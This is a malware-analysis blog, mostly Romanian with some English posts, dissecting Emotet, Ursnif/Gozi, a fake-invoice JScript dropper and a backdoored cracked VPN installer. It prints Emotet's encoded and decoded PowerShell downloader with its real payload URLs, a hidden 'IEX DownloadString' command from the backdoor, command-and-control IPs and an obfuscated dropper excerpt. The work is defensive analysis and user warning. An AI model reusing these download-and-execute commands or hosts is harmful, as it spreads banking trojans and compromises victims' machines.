Se afișează postările cu eticheta malware. Afișați toate postările
Se afișează postările cu eticheta malware. Afișați toate postările

marți, 10 martie 2020

Emotet – Virus bancar – Prezent pe domenii din Romania

Emotet – Virus bancar – Prezent pe domenii din Romania

Hai sa incepem cu informatii de baza!
Emotet este un virus din categoria Trojan, care are nevoie de acceptul victimei pentru a isi incepe activitatea in noua gazda.
Este un virus bancar, ce are ca scop extragerea de date personale, pentru ca hackerul sa poata utiliza contul sau cardul victimei in scopuri personale.
Daca la inceputuri era trimis prin email ca executabil, sau atasat(backdoor) anumitor programe “gratuite”, acum trimiterea lui se face prin intermediul unor documente ce sunt trimise prin email, iar aceste documente contin o comanda de descarcare si o adresa web, iar virusul este descarcat de acolo si actionand in noua gazda(pc, mobilr etc)
Aceasta metoda este folosita pentru a pacali atat protectia serviciilor de email, cat si viitoarea victima.
La intrarea virusului, cu acceptul victimei, sansele de scapare constau doar in posibilitatea de recunoastere a virusului respectiv de catre antivirus, firewall… in functie de ce are presupusa victima in dispozitiv.
Dar sa trecem la povestea noastra si o sa facem o mica analiza malware.
Zilnic apar liste cu Ip-uri, domenii, dispozitive compromise. Una din aceste liste contine doua domenii de Romania.
Se presupune ca sunt controlate de hackeri si folosite pentru a isi gazdui fisierele lor malware.
Accesam adresele si vedem ca ambele contin fisiere .doc.
De precizat ca pana aici Antivirusul nu reactioneaza.
Dupa cum se poate observa, fisierele sunt descarcate de pe aceste domenii de Romania (.ro) si apar ca fiind documente Microsoft Word 97-2003.
La scanare, virusul apare detectat de numai 18 si cei 60 de vendori prezenti pe platforma. Drept urmare, o mare parte si solutiile antivirus NU vor reactiona la aparitia virusului in dispozitiv.
In aceata varianta, doar aplicatiile celor de mai sus pot identifica virusul.
Iata si motivul detectiei slabe, virusul a fost creat… astazi. Ceea ce denota ca hackerul vine cu variante “curate” pentru a evita detectia.
http://trangvang.info.vn/home/pxxx7l/
https://74.101.225.121/tGQWzXxxxhSt
http://trangvang.info.vn/home/pxxx7l/
https://74.101.225.121/tBUxxxQWaf5EyJ8
Acum, pentru a avea o idee despre ce se intampla…
Comanda documentului arata cam asa: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE” /n “C:\Users\admin\AppData\Local\Temp\2050519442433378869714090.doc
Comanda folosita de Powershell este ascunsa si criptata:
Powershell -w hidden -en JABNAGEAdABlAGQAdgB0AG4AZAA9ACcASABpAGoAcgBsAGsAbABjAG4AYgAnADsAJABYAGcAbQB4AGkAagBsAHEAaQBjAGsAbABpACAAPQAgACcAMQAzADkAJwA7ACQATABhAHkAcABvAHQAdwBrAG4APQAnAFMAcwBrAGYAYwBkAHMAaQBrAHcAYwBjACcAOwAkAFkAcQBlAGkAcwBoAHIAZgB0AG0AcAA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAWABnAG0AeABpAGoAbABxAGkAYwBrAGwAaQArACcALgBlAHgAZQAnADsAJABSAGEAegBnAGcAZQBpAHAAcABzAGMAPQAnAFkAawBxAGIAdAB4AHAAegAnADsAJABTAG4AeQBsAGUAdAB6AGsAZgBqAGYAbgA9ACYAKAAnAG4AZQAnACsAJwB3AC0AbwAnACsAJwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBlAFQALgB3AEUAQgBDAEwAaQBFAG4AVAA7ACQARwBhAHAAawBzAGUAaQB2AGUAbwA9ACcAaAB0AHQAcAA6AC8ALwB0AHIAYQBuAGcAdgBhAG4AZwAuAGkAbgBmAG8ALgB2AG4ALwBoAG8AbQBlAC8AcABvAEkAYwA3AGwALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAGYAbAB5AGIAdQB5AHMALgBuAGUAdAAvAGwAaQBiAHIAYQByAGkAZQBzAC8AeABlAHMALwAqAGgAdAB0AHAAOgAvAC8AaQBuAGYAbwByAG0AYQB0AGkAYwAtAGMAbAB1AGIALgBjAG8AbQAvAGwAYQBuAGcAdQBhAGcAZQAvAHkALwAqAGgAdAB0AHAAOgAvAC8AZABlAG0AbwAuAHMAdABpAGMAawB5AHAAbwBzAHQALgBpAG8ALwB3AHAALQBhAGQAbQBpAG4ALwBnAC8AKgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBkAHIAaQB2AGUAcgB0AHIAYQBpAG4AZQByAHMAYwBoAG8AbwBsAC4AYwBvAG0ALgBhAHUALwBsAG8AZwBzAC8AUgBZAEoAUABnAHIASwBPAEoALwAnAC4AIgBzAGAAcABsAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEcAegBqAGkAdQBhAGgAagB5AHIAeQB4AHQAPQAnAEgAZwBrAGMAZABzAGQAZgAnADsAZgBvAHIAZQBhAGMAaAAoACQASwB4AHoAdABhAGwAaABwAGkAbgB2ACAAaQBuACAAJABHAGEAcABrAHMAZQBpAHYAZQBvACkAewB0AHIAeQB7ACQAUwBuAHkAbABlAHQAegBrAGYAagBmAG4ALgAiAGQAYABvAHcATgBMAGAATwBhAEQARgBgAGkAbABFACIAKAAkAEsAeAB6AHQAYQBsAGgAcABpAG4AdgAsACAAJABZAHEAZQBpAHMAaAByAGYAdABtAHAAKQA7ACQAWQB0AHYAagBlAHIAcwB5AGEAdABoAHcAPQAnAE8AaABqAGQAZwBmAGIAcgB0AHgAbAAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0AJwArACcASQB0AGUAbQAnACkAIAAkAFkAcQBlAGkAcwBoAHIAZgB0AG0AcAApAC4AIgBsAGAAZQBuAGcAdABIACIAIAAtAGcAZQAgADMAMgA2ADgAMQApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBzAGAAVABhAFIAVAAiACgAJABZAHEAZQBpAHMAaAByAGYAdABtAHAAKQA7ACQATwBoAGQAdQBqAHAAdwBoAG0AegB0AGEAZwA9ACcARAB3AGwAawB3AG4AdwBqAHoAeQB1AHMAJwA7AGIAcgBlAGEAawA7ACQAWAB4AG8AbAB2AGsAdABxAD0AJwBIAHEAaAB1AGoAagBnAHoAZAB6ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEEAZgBpAGkAcwB4AGQAdgA9ACcAUQBnAHAAYwBmAG8AbABvAHkAbgBrAHoAZAAnAA==
Decryptata din Base64
$�M�a�t�e�d�v�t�n�d�=�’�H�i�j�r�l�k�l�c�n�b�’�;�$�X�g�m�x�i�j�l�q�i�c�k�l�i� �=� �’�1�3�9�’�;�$�L�a�y�p�o�t�w�k�n�=�’�S�s�k�f�c�d�s�i�k�w�c�c�’�;�$�Y�q�e�i�s�h�r�f�t�m�p�=�$�e�n�v�:�u�s�e�r�p�r�o�f�i�l�e�+�’�\�’�+�$�X�g�m�x�i�j�l�q�i�c�k�l�i�+�’�.�e�x�e�’�;�$�R�a�z�g�g�e�i�p�p�s�c�=�’�Y�k�q�b�t�x�p�z�’�;�$�S�n�y�l�e�t�z�k�f�j�f�n�=�&�(�’�n�e�’�+�’�w�-�o�’�+�’�b�’�+�’�j�e�c�t�’�)� �n�e�T�.�w�E�B�C�L�i�E�n�T�;�$�G�a�p�k�s�e�i�v�e�o�=�’�h�t�t�p�:�/�/�t�r�a�n�g�v�a�n�g�.�i�n�f�o�.�v�n�/�h�o�m�e�/�p�o�I�c�7�l�/��h�t�t�p�s�:�/�/�w�w�w�.�f�l�y�b�u�y�s�.�n�e�t�/�l�i�b�r�a�r�i�e�s�/�x�e�s�/��h�t�t�p�:�/�/�i�n�f�o�r�m�a�t�i�c�-�c�l�u�b�.�c�o�m�/�l�a�n�g�u�a�g�e�/�y�/��h�t�t�p�:�/�/�d�e�m�o�.�s�t�i�c�k�y�p�o�s�t�.�i�o�/�w�p�-�a�d�m�i�n�/�g�/��h�t�t�p�s�:�/�/�w�w�w�.�d�r�i�v�e�r�t�r�a�i�n�e�r�s�c�h�o�o�l�.�c�o�m�.�a�u�/�l�o�g�s�/�R�Y�J�P�g�r�K�O�J�/�’�.�”�s��p�l�I�T�"�(�[�c�h�a�r�]�4�2�)�;�$�G�z�j�i�u�a�h�j�y�r�y�x�t�=�'�H�g�k�c�d�s�d�f�'�;�f�o�r�e�a�c�h�(�$�K�x�z�t�a�l�h�p�i�n�v� �i�n� �$�G�a�p�k�s�e�i�v�e�o�)�{�t�r�y�{�$�S�n�y�l�e�t�z�k�f�j�f�n�.�"�d��o�w�N�L��O�a�D�F��i�l�E�”�(�$�K�x�z�t�a�l�h�p�i�n�v�,� �$�Y�q�e�i�s�h�r�f�t�m�p�)�;�$�Y�t�v�j�e�r�s�y�a�t�h�w�=�’�O�h�j�d�g�f�b�r�t�x�l�’�;�I�f� �(�(�.�(�’�G�e�t�-�’�+�’�I�t�e�m�’�)� �$�Y�q�e�i�s�h�r�f�t�m�p�)�.�”�l��e�n�g�t�H�"� �-�g�e� �3�2�6�8�1�)� �{�[�D�i�a�g�n�o�s�t�i�c�s�.�P�r�o�c�e�s�s�]�:�:�"�s��T�a�R�T�”�(�$�Y�q�e�i�s�h�r�f�t�m�p�)�;�$�O�h�d�u�j�p�w�h�m�z�t�a�g�=�’�D�w�l�k�w�n�w�j�z�y�u�s�’�;�b�r�e�a�k�;�$�X�x�o�l�v�k�t�q�=�’�H�q�h�u�j�j�g�z�d�z�’�}�}�c�a�t�c�h�{�}�}�$�A�f�i�i�s�x�d�v�=�’�Q�g�p�c�f�o�l�o�y�n�k�z�d�’�
Decryptata are mai multe informatii interesante:
$Matedvtnd=’Hijrlklcnb’;$Xgmxijlqickli = ‘139’;$Laypotwkn=’Sskfcdsikwcc’;$Yqeishrftmp=$env:userprofile+’\’+$Xgmxijlqickli+’.exe’;$Razggeippsc=’Ykqbtxpz’;$Snyletzkfjfn=&(‘ne’+’w-o’+’b’+’ject’) neT.wEBCLiEnT;$Gapkseiveo=’http://trangvang.info.vn/home/poIc7l/https://www.flybuys.net/libraries/xes/http://informatic-club.com/language/y/http://demo.stickypost.io/wp-admin/g/https://www.drivertrainerschool.com.au/logs/RYJPgrKOJ/‘.”splIT"([char]42);$Gzjiuahjyryxt='Hgkcdsdf';foreach($Kxztalhpinv in $Gapkseiveo){try{$Snyletzkfjfn."dowNLOaDFilE”($Kxztalhpinv, $Yqeishrftmp);$Ytvjersyathw=’Ohjdgfbrtxl’;If ((.(‘Get-‘+’Item’) $Yqeishrftmp).”lengtH" -ge 32681) {[Diagnostics.Process]::"sTaRT”($Yqeishrftmp);$Ohdujpwhmztag=’Dwlkwnwjzyus’;break;$Xxolvktq=’Hqhujjgzdz’}}catch{}}$Afiisxdv=’Qgpcfoloynkzd’
Se pot observa domeniile accesate pentru a descarca virusul, dar si comenzile de Download, GET, Item, Start…
Se pare ca intradevar acel document nu este doar ceva de citit, ci contine comenzi de descarcare a unui fisier care stim ce este, dar poate fi orice altceva.
Mai in detaliu: $Xgmxijlqickli = ‘139’ +$Xgmxijlqickli+’.exe … deci avem un 139.exe, nu?
Avem polc7l care este descris ca fiind ATLUtils Module – adica Active Template Library si mai exact este chiar fisierul nostru 139.exe.
14 din 73… destul de rau pentru posibilele victime!
Acest fisier odata executat, instaleza un alt .exe in dispozitivul victimei(da, deja victima).
Acesta se conecteaza la Ip-ul/host-ul de unde vin toate comenzile hackerului.
Virusul in sine preia comenzi date de hacker si le executa la nivel de dispozitiv.
Exemple: se poate raspandi in retea, colecteaza date, trimite date, ataca, stocheaza date, spioneaza tastatura/camera/monitor etc.
In cazul nostru dispozitivul se conecteaza la adresa http://68.114.229.171/, iar acolo se gaseste acel C&C Panel, adica Panoul de Comanda si Control al atacatorului.
Cam asta ar fi pentru astazi.
In concluzie, daca ai o pagina web sau un server si nu sunt protejate, poti deveni parte activa la activitatile ilegale ale hackerilor.
Deocamdata acest lucru nu este pedepsit, dar… in timp lucrurile se pot schimba!
In ceea ce priveste adevarata victima, grija la ce documente accesati, indiferent de la cine credeti ca provin.
Tags: , , , , , , , ,

duminică, 3 noiembrie 2019

Fresh Ursnif (GOZI/ ISFB) campaign

Some Russian campaign running over leaked email spreads different kind of malware. Today on Yahoo mail has come some fresh Ursnif with 0 detections. |
The domain used for my email was inactive and there was no file for download, but I found it somewhere else.
In the pictures below will find the research steps:
Was easy to find a sample of malware using the SHA256 (d6c0ca87f712c0633eab5ac020ceaad2e256cd3251808ce7c7b45faf4042123e) on Google.
The .zip file is detected and this may be an advantage for the users IF they are using the Antivirus that have on his database this sample… but this is another discussion…
At this moment the VirusTotal says 18/57.. so is going to be better in a few hours.
Now.. extracting them one by one we have a good encrypted malware named Ursnif (GOZI/ ISFB). This malware is trying to steal baking credentials from his victims and the hacker may have access to the system.
I will not explain the whole process at this time but the way to do that you will find it on the recent post I’ve made:
https://www.prodefence.org/malware-analysis-gozi-ifsb-bank-trojan-aka-ursnif/
Useful links:
Urlscan with samples
VirusTotal .zip
VirusTotal .js
VirusTotal .bin

sâmbătă, 7 septembrie 2019

Malware analysis Gozi IFSB – Bank Trojan aka Ursnif

This is the Gozi IFSB malware, created to steal data & informations from the victims. In the folder you will see all the files needed to create your own malware server.
For this malware analysis I will use an .bin found after google search.
Cyber security - Malware analysis
With this .bin file I will be 2 steps closer for the analysis. I don’t have the .doc/.pdf file with the payload, but the .bin is the downloaded file resulted from the payload.
I will transform the .bin file to infected.exe(10000.exe)!
008c4bd6ee834d113cfc693af0ea90396eaa47e860bcdd567ffd964b57434e1d.bin
MD5: e6d118192fc848797e15dc0600834783
SHA1: 16d5ded68677f4a870423d3fd30da8377a5b2408
Let’s go to security manipulation and creation of the malware on the system. The $LN33 it is exported by the executable, after that will jump to C Runtime Library.
Calling the security_init_cookie for buffer overrun protection to comprommise the system security.
Cyber security - Malware analysis Prodefence SRL
Let’s run the infected file to see his actions!
I see that the explorer.exe has some activiti.
Cyber security - Malware analysis
SC Prodefence SRL
Cyber security – Malware analysis
There I have some movements… let’s go to \Roaming\MIcrosoft\ to see the new folder created ‘BthM300C’.
SC Prodefence SRL
An executable(the same .exe with diffrerent name) created in new folder after runed the infected.exe / D3DCsapi.exe aka 1000.exe
Cyber security - Malware analysis
The Registry.
Cyber security - Malware analysis
Prodefence SRL
Now… the explorer.exe.
24 .dll are suspicious.
That means some of them are from the injection process.
Cyber security - Malware analysis
explorer.exe (2304)  – 52074 – 166.124.148.146.bc.googleusercontent.com.
This is an Google Cloud Platform and the explorer.exe has some connections there.
genesisgrandergh.at
  • Port: 62809, Dst Port: 53
  • Standard query response 0xd314 Server failure
  • ns1.suspended-domain.com
bitsupport.top
  • Standard query response 0xd314 Server failure
  • ns1.suspended-domain.com
carloslimmheklo.at
  • Port: 58097, Dst Port: 53
  • ns1.suspended-domain.com
databasecollection.pw  OK
  • Port: 62809, Dst Port: 53
  • Pubkey: 04b7b8c4d1d482255514ccf90c896acb7b5baaa7208eea67
Name Servers:
  • ns4.sinkhole.ch
  • ns3.sinkhole.ch
  • ns2.sinkhole.ch
  • ns1.sinkhole.ch
Now … becouse I have some extra informations.. I will try to find more infected domains.
The Gozi malware is using friendly websites to infect the visitors, others trojans or payloads included on .doc files, for better security bypass.
Virus Total Report
https://www.virustotal.com/#/file/008c4bd6ee834d113cfc693af0ea90396eaa47e860bcdd567ffd964b57434e1d/detection
sinkhole.ch server hosting malware
https://www.malwareurl.com/ns_listing.php?ns=ns2.sinkhole.ch
https://securitytrails.com/list/ns/NS1.SINKHOLE.CH?ref=abuseipdb
About Gozi(Ursniff)
https://www.secureworks.com/research/gozihttps://www.csoonline.com/article/2123315/identity-theft-prevention/inside-the-global-hacker-service-economy.html?page=2

vineri, 29 decembrie 2017

Malware analysis and investigation services

Alexandru Anghelus – Malware analyst & investigator


Security of your personal data is very important.
Also sensitive Company data is extremely important.
If you’ve got a file and it looks suspicious, do not open it.
The .zip, .exe, .rtf, .doc, .htm, .rar … etc files can be infected and personal data may become public or can be used against you.
With my analysis services you can remove that insecurity!
Analyzing a file can take a few minutes or even hours.
Investigating the ones found and drawing up the report may take longer, depending on the infected file.
Tracking the hacker may be impossible or may take several days.
Chances of success in discovering the infected file are 99%.
Full report services can help identify the reason, the target and whether it is a direct or random attack.
At the following address you can find some of my work in the field.

I am malware analyst and investigator.
With my skills everyone can have a clear vision about some suspicios files or emails that they have on pc.
I am the founder of Professional Defence Community, a 7 years cybersecurity website.
Web Pentesting.
Malware analysis.
Malware investigator.


Freelancer services websites:
https://www.fiverr.com/alexmalware
https://www.upwork.com/freelancers/~01ec95393b79dc2f6b
https://www.freelancer.com/u/alexpdc

Social media:
https://www.facebook.com/alexarchitect
https://www.linkedin.com/in/anghelus-alexandru/
h**ps://twitter.com/AlexProdefence

Contact:
email: info@prodefence[.]org

miercuri, 6 decembrie 2017

Unseen stample of malware-Modified coding code – DarkWeb TOR project.

Hello.
Today I had a nice surprise. I found in the Spam file an email telling me they just sent me an electronic invoice.
I have to say that the surprisses are more and more.

You will see!!!

Part 1 – The infected file & dropped files

Dear Madam / Madam,
We would like to inform you that you have an electronic invoice issued. The attachment is an official accounting document and complies with the requirements of the Electronic Document and Electronic Signature Act.
If you have additional questions or need other information, please do not hesitate to contact us with the contact details on your electronic invoice.
Thank you for being a customer of ENERGO-PRO.
We wish you a successful day.
* This email can contain personalized information. If you are not the recipient for whom it is intended, please delete it. Thank you!
I have a file attached named öá¬ÔŃÓá No 0258923817 (3)… yeeep and is a JScript file.
Scanned with Virus Total.

The -1 vote is mine! (lol).
So 0 of 60 antivirus engines detects this virus.In the previous article I wrote about the problem of detection.
Security Advice – The Antivirus is just a security helper!
Running the öá¬ÔŃÓá No 0258923817 (3) script –> injects code on vbscript and tries to connect to:
All the connection running this script:
  • withadvertisingthe.com
  • myip.opendns.com
  • noreply.org
  • riseup.ne
  • Faravahar Tor Authority Directory – 199.254.238.52
  • Tor Exit Router – 178.16.208.59
  • vps.net
  • 91.219.237.154
  • digitalocean.com
  • voxility.net
All are Tor servers and VPN servers.
GET /tor/status-vote/current/consensus from hosts:
86.59.21.38/154.35.175.225
There are BitBlinder Project files(see on github more informations). Remember this.. i will give you some good info later!
Connected servers:
5.149.213.224/86.59.21.38/199.254.238.52/154.35.175.225/178.16.208.59/46.23.72.81/91.219.237.154/46.101.183.160/93.115.84.143/165.227.130.167
What else to show you from this file…
Last write session:
Mades alot of changes after running:
  • Remote AccessTries to identify its external IP address
  • Stealer/PhishingScans for artifacts that may help identify the target
  • Touched instant messenger related registry keysPersistenceInjects into explorer
  • Injects into remote processes
  • Modifies auto-execute functionality by setting/creating a value in the registry
  • Spawns a lot of processes
  • Writes data to a remote process
Dropped files:
  • adprtext.dll
  • agreebowl.dll
Let’s see the agreebowl.dll

Part 2 – The “öá¬ÔŃÓá No 0258923817 (3)” file code.

The 0/60 file detection is due to the programming mode. The programmer used an ingenious way to write the code to have a signature different from that of the viruses.
Here i will show you a part of thecompiled code:
ozen.decideWorry+sickCityAdditionDepth[15]+seriousPaidRegion.happened;}function pigDutyUnusual(passForeignPush){return lowerCountryCharacter[5];}function frontFurtherAfterMadeConstruction(wasMoodCleanRefusedPush){return slightForgotDiscussionHistoryGiant[3]+temperatureBeforeDo.audienceCircus+evidenceCompositionCrackPrincipalEar[2]+seriousPaidRegion.engineer+sickCityAdditionDepth[3]+sickCityAdditionDepth[4]+breatheCupParentEscape[13]+biggerShellsDeterminePorchCreature[7]+temperatureBeforeDo.twoWest+importanceArtAgain[7];}function compareSpeciesGiantBuildingSeveral(excitedCanScoreCarefulFine){return roughWhenPlentyDistanceFrozen.decideWorry+townOrdinaryDarkFlowerLibrary.careful+importanceArtAgain[7]+temperatureBeforeDo.audienceCircus+wonProvideMostOrdinaryRoad.railroadOr+slightForgotDiscussionHistoryGiant[7]+importanceArtAgain[7]+evidenceCompositionCrackPrincipalEar[2]+breatheCupParentEscape[17];}var clearlyPieceBillEarlierOrganization=[];
clearlyPieceBillEarlierOrganization[todayBehaviorStrengthQuietlyTypical(‘p-_sI1owb)jB:o6’)](visitorBehindSpeak(‘9
K0c0htw(o.kvr’));
var packageLargePig=[-314];
var tearsKitchenCatchNeck=[66];
var fifteenRunStraightSpeech=[];
var aidMirrorWeakProgressInclude=[7];
var sightDistanceDid=[1];
var taskAnywayHungry=[mightEmptyCarriedRapidlyOnce(’26P:Y&kwgPLW0′)];
function partRelatedBatBaby(metFreeSomeone){

Part 3 – BitBlinder project

BitBlinder project – A way to create your own hidden services on DarkWeb.
Project-specific files:
  • http://154.35.175.225/tor/status-vote/current/consensus.js
  • http://91.219.237.154/tor/server/fp/6a7479eb4378b946dc2a65a7f2c706b42bae2ebd
Well… that was a long story and the end it’s here!
0/60 … remember that!!!

Have fun & Stay safe!!!

vineri, 1 decembrie 2017

Malware research/reverse – Payload backdoor

Hello.
I have some free time and I try to deal with internet safety. I’m just a small drop of the ocean, but I’m here!
Today I will introduce you something different.
As usual, I downloaded a few softwares and started the analysis.
I have a ”great offer”:
Hotspot Shield VPN 7.20.8.Elite Cracked

Woooow!!!(just kidding)
We have 3 important files.
Setup.exe and Update.exe appear to be archived files and from previous posts we know what this means, but today our target is the HSS v.2.exe file.



It is noticed that it is the latest file created.
Also, the installation method requires using this file.

OK.Let’s scan this time!
Virus Total Report

20/68 detection?!?
I mean, only 20 of the antivirus applications will see this file as a virus.


OK. It’s normal to be seen by antivirus. It’s just a crack, a patch, etc. You have to disable the antivirus to install it, it’s just a pirated software.
Let’s get started
It looks like this .exe is actually a .rar archive

After opening, he has a lot of work in the background.
We let him do the job to find out what he is doing!


When everything is quiet, we see that something is left to work.

powershell.exe -nop -windowstyle Hidden -c “IEX (New-Object Net.WebClient).DownloadString(‘https://gist.githubusercontent.com/hampros2/7d71db98acfeaa75ec89dcb53eb796c1/raw/9681d583be4c36977286b8171be930b0fd702a64/fuck.ps1
The virus runs through the application Powershell.exe, being connected to external sources.
h**ps://sgist.githubusercontent.com/hampros2/7d71db98acfeaa75ec89dcb53eb796c1raw9681d583be4c36977286b8171be930b0fd702a64/fuck.ps1
Also connectiong to:
http://83.251.132.4
/admin/get.php
/login/process.php
/news.php

After investigation I found out that it’s about a payload project.

Currently Empire Power Shell has the following categories for modules:
  • Code Execution – Ways to run more code
  • Collection – Post exploitation data collection
  • Credentials – Collect and use creds
  • Exfiltration – Identify egress channels
  • Lateral Movement – Move around the network
  • Management – Host management and auxilary
  • Persistence – Survive reboots
  • Privesc – Privilege escalation capabilities
  • Recon – Test further entry points (HTTP Basic Auth etc)
  • Situational Awareness – Network awareness
  • Trollsploit – For the lulz
Prodefence.org
What can I say …. be careful!
Have fun & stay safe!!!